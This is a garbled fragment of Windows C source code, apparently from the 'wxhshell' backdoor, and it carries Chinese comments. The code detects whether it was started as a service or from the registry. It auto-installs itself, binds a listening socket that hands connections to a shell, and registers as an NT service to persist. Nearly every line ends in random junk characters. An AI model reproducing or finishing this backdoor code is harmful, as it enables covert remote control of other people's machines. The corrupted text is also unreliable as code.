ULONG UniqueProcessId; sS D8Sx/
ULONG InheritedFromUniqueProcessId; AjzTszByu
} PROCESS_BASIC_INFORMATION; -<W?it?D
|23F@s1
PROCNTQSIP NtQueryInformationProcess; wi(Y=?=
]vrZGX
a+
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ER0
Yl
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; du65=w4E!
AIF?>wgq
HANDLE hProcess; xc^@"
PROCESS_BASIC_INFORMATION pbi; asWk]jjMG
qBA)5Sv\V
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GkGiQf4hh
if(NULL == hInst ) return 0; F%OP,>zl
Y(Q
0m|3P
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >O'\
jp}$l
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *a9cBl'_
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *"%TAe7?~+
]\,?u /
if (!NtQueryInformationProcess) return 0; ["-rDyP
uP~,]ci7
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^T=9j.e'ja
if(!hProcess) return 0; B8&q$QV
q_M N
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g4K+AK
'aSsyD!?<
CloseHandle(hProcess); [xS7ae
s~M4. 06P
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); aZ#FKp^8H
if(hProcess==NULL) return 0; rRTKF0+
|IgR1kp+.
HMODULE hMod; Xp<q`w0I,
char procName[255]; &@~K8*tmK
unsigned long cbNeeded; Llfl I
\)PB p
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v{u3[c
c%&,(NJ]K
CloseHandle(hProcess); m#"_x{oa
v%tjZ5x
if(strstr(procName,"services")) return 1; // 以服务启动 Y}~sTuWU
>xWS>
return 0; // 注册表启动 -@v^. @[Z&
} iZGbNN
u 3WU0Z`
// 主模块 {X!vb
int StartWxhshell(LPSTR lpCmdLine) \GFqRRn
{ U2Ve @.
SOCKET wsl; Vt`4u5HG
BOOL val=TRUE; ~ua(Qm
int port=0; -[mmT'sS
struct sockaddr_in door; +a,SP
a>4/2#J
if(wscfg.ws_autoins) Install(); Dri6\/0
$LP(\T([
port=atoi(lpCmdLine); _i=*0Q
Z{8%Cln
if(port<=0) port=wscfg.ws_port; RdCGK?s
aDS:82GMQ
WSADATA data; lrrTeE*
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~OD6K`s3
]LE,4[VxRz
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 1k[_DQ=^l1
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z+xkN
door.sin_family = AF_INET; z)Rkd0/X
door.sin_addr.s_addr = inet_addr("127.0.0.1"); %bcf% 7
door.sin_port = htons(port); P`tOL#UeZL
H_xHoCLI
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >d 5-if
closesocket(wsl); {`HbpM<=m]
return 1; -rDfDdT
} g=:o 'W$@
#2=l\y-#
if(listen(wsl,2) == INVALID_SOCKET) { ~WrpJjI[
closesocket(wsl); Et6j6gmif
return 1; Ey@^gHku\
}
yg\QtWWM
Wxhshell(wsl); D+T/ Z)
WSACleanup(); G|cjI*
uQ=u@qtp
return 0; Ar-Vu{`
FPc`J
} <IrhR,@M,L
Q%CrB>|@
// 以NT服务方式启动 Q Xd`P4a
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (Mc{nFqS
{ !t% 1G.
DWORD status = 0; P|NGAd
DWORD specificError = 0xfffffff; 8\J$\Edv
l;-2hZ
serviceStatus.dwServiceType = SERVICE_WIN32; Tzd#!Lvm:,
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ~-"CU:$o
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h;=~%2Y
serviceStatus.dwWin32ExitCode = 0; F:zmO5L5
serviceStatus.dwServiceSpecificExitCode = 0; ?e%*q^~Cu
serviceStatus.dwCheckPoint = 0; )U/Kz1U
serviceStatus.dwWaitHint = 0; *r.%/^@
>s<Bu' r
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QL0q/S1*
if (hServiceStatusHandle==0) return; yLRe'5#m
0>[]Da}
status = GetLastError(); T
m"B
if (status!=NO_ERROR) |AvPg
{ .7.G}z1
serviceStatus.dwCurrentState = SERVICE_STOPPED; k$=L&id
serviceStatus.dwCheckPoint = 0; le:}MM
serviceStatus.dwWaitHint = 0; R3g)LnN
serviceStatus.dwWin32ExitCode = status; >VhZv75
serviceStatus.dwServiceSpecificExitCode = specificError; " ILF!z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y`gO:d8
return; Q8m~L1//S
} %
jDH{xSMb
>{AE@@PB^
serviceStatus.dwCurrentState = SERVICE_RUNNING;
c@A.jc
serviceStatus.dwCheckPoint = 0; (-ELxshd
serviceStatus.dwWaitHint = 0; Sr+hB>{
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =1 Plu5
} C\{A|'l!x
m9h<)D '>
// 处理NT服务事件,比如:启动、停止 =2q#- ,t
VOID WINAPI NTServiceHandler(DWORD fdwControl) S6bW
r0XR
{ rL<N:@HL
switch(fdwControl) <ppdy,j:
{ 4{>r_^8
case SERVICE_CONTROL_STOP: Aa-5k3:x]=
serviceStatus.dwWin32ExitCode = 0; jd]L}%ax
serviceStatus.dwCurrentState = SERVICE_STOPPED; }a OBQsnO
serviceStatus.dwCheckPoint = 0; (o{Y;E@/y
serviceStatus.dwWaitHint = 0; V;^-EWNj
{ +<